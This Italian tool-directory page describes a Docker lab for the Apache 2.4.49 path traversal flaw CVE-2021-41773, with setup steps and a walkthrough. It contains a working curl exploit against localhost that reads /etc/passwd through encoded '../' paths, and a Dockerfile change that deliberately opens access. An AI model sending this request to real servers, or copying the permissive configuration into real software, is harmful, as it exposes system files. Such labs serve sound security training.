Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2021-41773 — Ambiente di laboratorio basato su Docker per la vulnerabilità di path traversal di Apache CVE-2021-41773 con exploit PoC e procedura dettagliata per test di sicurezza e formazione. | Kitploit
Strumenti/GitHubGitHub/jiyun02/cve-2021-41773
Analisi delle VulnerabilitàExploitSicurezza WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubjiyun02/cve-2021-41773

cve-2021-41773

Ambiente di laboratorio basato su Docker per la vulnerabilità di path traversal di Apache CVE-2021-41773 con exploit PoC e procedura dettagliata per test di sicurezza e formazione.

Vedi Repository
171 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-41773 – Rapporto Path Traversal di Apache

Riepilogo

  • Vulnerabilità trovata nella versione 2.4.49 di Apache HTTP Server che, a seconda della configurazione del server web, può esporre file sensibili del sistema tramite un attacco di Path Traversal
  • Path Traversal: un attaccante può accedere a file al di fuori della radice web utilizzando percorsi che includono ../

Informazioni

  • Nome della vulnerabilità: CVE-2021-41773
  • Versione interessata: Apache HTTP Server 2.4.49
  • Tipo di vulnerabilità: Path Traversal
  • Patch ufficiale: risolta dalla versione 2.4.50 in poi

Configurazione dell'ambiente di laboratorio

  • Immagine di base: 'httpd:2.4.49' (DockerHub)
  • Modalità di avvio del contenitore: Dockerfile + docker-compose.yml
  • Porta di esecuzione: 8080 → mappata sulla porta 80 del contenitore
  • Modifica configurazione Apache: impostato 'Require all granted' (per abilitare Path Traversal)

Come eseguire l'ambiente

  • git clone https://github.com/JIYUN02/cve-2021-41773.git
  • cd cve-2021-41773
  • docker-compose up --build

Proof of Concept (PoC) della vulnerabilità

  • curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

Procedimento dettagliato

  1. Esecuzione della directory di progetto image
image
  1. Creazione del Dockerfile image

-> Immagine di base: httpd:2.4.49 (versione vulnerabile)

-> 'sed -i 's/Require all denied/Require all granted/g' : abilita Path Traversal e accesso esterno

  1. docker-compose.yml image

-> Definizione di Apache

-> Mappatura della porta 8080 alla porta 80 del contenitore

  1. Esecuzione di docker

    image

  2. Esecuzione del PoC

    image

-> curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

-> /etc/passwd contiene informazioni sensibili; %2e è la codifica di .. che rappresenta il comando per spostarsi nella directory superiore

-> Manipolando il percorso, il server accede a /etc/passwd e lo stampa

  1. Risultato dell'esecuzione image

-> Come mostrato nell'immagine sopra, è possibile accedere a directory sensibili

URL del repository accessibile tramite fork

https://github.com/JIYUN02/cve-2021-41773 -> Esiste storico dei commit

Scarica lo strumento